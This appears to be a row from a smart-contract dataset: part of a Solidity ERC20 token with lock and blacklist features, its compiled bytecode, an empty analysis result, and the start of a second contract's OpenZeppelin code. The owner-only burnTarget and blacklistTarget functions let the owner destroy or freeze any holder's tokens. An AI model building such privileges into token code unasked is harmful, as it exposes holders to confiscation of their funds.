function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220d1d9527bf85decc0882f87d334746329d074744a48b46fea5606980cf0a135ac64736f6c63430007030033 | {"success": true, "error": null, "results": {}} | 869 |
0xfc902c04d8fcf67735432ada207ad8061a8e63a6 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
